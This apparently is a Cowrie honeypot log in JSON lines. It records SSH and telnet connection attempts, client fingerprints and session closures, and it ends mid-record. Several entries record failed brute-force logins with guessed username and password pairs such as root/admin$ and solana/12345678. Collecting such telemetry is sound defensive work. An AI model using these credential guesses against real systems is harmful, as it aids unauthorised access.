{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53502,"dst_ip":"159.203.135.109","dst_port":23,"session":"a3bd03b29a20","protocol":"telnet","message":"New connection: 128.199.8.54:53502 (159.203.135.109:23) [session: a3bd03b29a20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:07.571459Z"}
{"eventid":"cowrie.session.closed","duration":0.010257720947265625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:07.581587Z","src_ip":"128.199.8.54","session":"a3bd03b29a20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.588804960250854,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:08.292921Z","src_ip":"180.76.139.59","session":"cacb689b822c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43838,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a43bf32db26","protocol":"telnet","message":"New connection: 128.199.8.54:43838 (159.203.135.109:23) [session: 5a43bf32db26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:08.872018Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.166.242.149","src_port":46932,"dst_ip":"159.203.135.109","dst_port":22,"session":"c061fe155be1","protocol":"ssh","message":"New connection: 43.166.242.149:46932 (159.203.135.109:22) [session: c061fe155be1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:10.335438Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:10.340412Z","src_ip":"43.166.242.149","session":"c061fe155be1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:10.567120Z","src_ip":"43.166.242.149","session":"c061fe155be1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"awards","password":"awards123","message":"login attempt [awards/awards123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:12.529164Z","src_ip":"43.166.242.149","session":"c061fe155be1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:13.542089Z","src_ip":"43.166.242.149","session":"c061fe155be1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":45932,"dst_ip":"10.17.0.5","dst_port":23,"session":"237379288051","protocol":"telnet","message":"New connection: 3.129.187.38:45932 (10.17.0.5:23) [session: 237379288051]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:27.704943Z"}
{"eventid":"cowrie.session.closed","duration":45.59692978858948,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:29.130423Z","src_ip":"128.199.8.54","session":"5773550118e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":44166,"dst_ip":"159.203.135.109","dst_port":22,"session":"9021582014f0","protocol":"ssh","message":"New connection: 80.94.92.184:44166 (159.203.135.109:22) [session: 9021582014f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:30.624083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:30.760560Z","src_ip":"80.94.92.184","session":"9021582014f0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:30.976984Z","src_ip":"80.94.92.184","session":"9021582014f0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49528,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d84f0f2a0b0","protocol":"telnet","message":"New connection: 172.81.62.90:49528 (159.203.135.109:23) [session: 9d84f0f2a0b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:31.936960Z"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:32.126573Z","src_ip":"80.94.92.184","session":"9021582014f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:33.380040Z","src_ip":"80.94.92.184","session":"9021582014f0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.98030161857605,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:03:37.685075Z","src_ip":"3.129.187.38","session":"237379288051","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.42514657974243,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:05.361954Z","src_ip":"172.81.62.90","session":"9d84f0f2a0b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":59686,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f797ffd6b19","protocol":"ssh","message":"New connection: 27.71.230.31:59686 (10.17.0.5:22) [session: 3f797ffd6b19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:08.391337Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:08.477493Z","src_ip":"27.71.230.31","session":"3f797ffd6b19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:09.860468Z","src_ip":"27.71.230.31","session":"3f797ffd6b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":61.74203181266785,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:10.613940Z","src_ip":"128.199.8.54","session":"5a43bf32db26","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$","message":"login attempt [root/admin$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:11.965105Z","src_ip":"27.71.230.31","session":"3f797ffd6b19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.9","message":"Connection lost after 4.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:13.247879Z","src_ip":"27.71.230.31","session":"3f797ffd6b19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":38110,"dst_ip":"10.17.0.5","dst_port":22,"session":"852bc42ba4d2","protocol":"ssh","message":"New connection: 103.27.238.116:38110 (10.17.0.5:22) [session: 852bc42ba4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:21.899730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:21.903799Z","src_ip":"103.27.238.116","session":"852bc42ba4d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:22.176553Z","src_ip":"103.27.238.116","session":"852bc42ba4d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"victoriya","message":"login attempt [root/victoriya] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:22.997809Z","src_ip":"103.27.238.116","session":"852bc42ba4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:24.274056Z","src_ip":"103.27.238.116","session":"852bc42ba4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":40398,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b3cb0ee6789","protocol":"telnet","message":"New connection: 107.6.151.170:40398 (159.203.135.109:23) [session: 2b3cb0ee6789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:40.459980Z"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":57258,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9d994743640","protocol":"ssh","message":"New connection: 109.237.96.109:57258 (159.203.135.109:22) [session: d9d994743640]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:54.371083Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:54.375201Z","src_ip":"109.237.96.109","session":"d9d994743640","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:54.468665Z","src_ip":"109.237.96.109","session":"d9d994743640","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dima1979","message":"login attempt [root/dima1979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:54.757463Z","src_ip":"109.237.96.109","session":"d9d994743640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:04:55.853471Z","src_ip":"109.237.96.109","session":"d9d994743640","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.70262050628662,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:16.162446Z","src_ip":"107.6.151.170","session":"2b3cb0ee6789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":55860,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f610bd91d6d","protocol":"ssh","message":"New connection: 27.71.230.31:55860 (159.203.135.109:22) [session: 8f610bd91d6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:36.678073Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:37.042596Z","src_ip":"27.71.230.31","session":"8f610bd91d6d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:37.045689Z","src_ip":"27.71.230.31","session":"8f610bd91d6d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin$","message":"login attempt [root/admin$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:44.726040Z","src_ip":"27.71.230.31","session":"8f610bd91d6d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:47.239492Z","src_ip":"27.71.230.31","session":"8f610bd91d6d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":40606,"dst_ip":"10.17.0.5","dst_port":23,"session":"f04f0285726c","protocol":"telnet","message":"New connection: 94.23.66.112:40606 (10.17.0.5:23) [session: f04f0285726c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:49.155708Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39148,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d780da20265","protocol":"telnet","message":"New connection: 128.199.8.54:39148 (159.203.135.109:23) [session: 4d780da20265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:58.911084Z"}
{"eventid":"cowrie.session.closed","duration":0.004548788070678711,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:05:58.915452Z","src_ip":"128.199.8.54","session":"4d780da20265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":50722,"dst_ip":"159.203.135.109","dst_port":23,"session":"5eb6d6db543e","protocol":"telnet","message":"New connection: 172.81.62.90:50722 (159.203.135.109:23) [session: 5eb6d6db543e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:33.844869Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39372,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f87091d51c9","protocol":"telnet","message":"New connection: 172.81.62.90:39372 (159.203.135.109:23) [session: 9f87091d51c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:38.118383Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":59706,"dst_ip":"159.203.135.109","dst_port":22,"session":"b93d03d4ff70","protocol":"ssh","message":"New connection: 77.94.47.83:59706 (159.203.135.109:22) [session: b93d03d4ff70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:44.624072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T09:06:44.628400Z","src_ip":"77.94.47.83","session":"b93d03d4ff70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 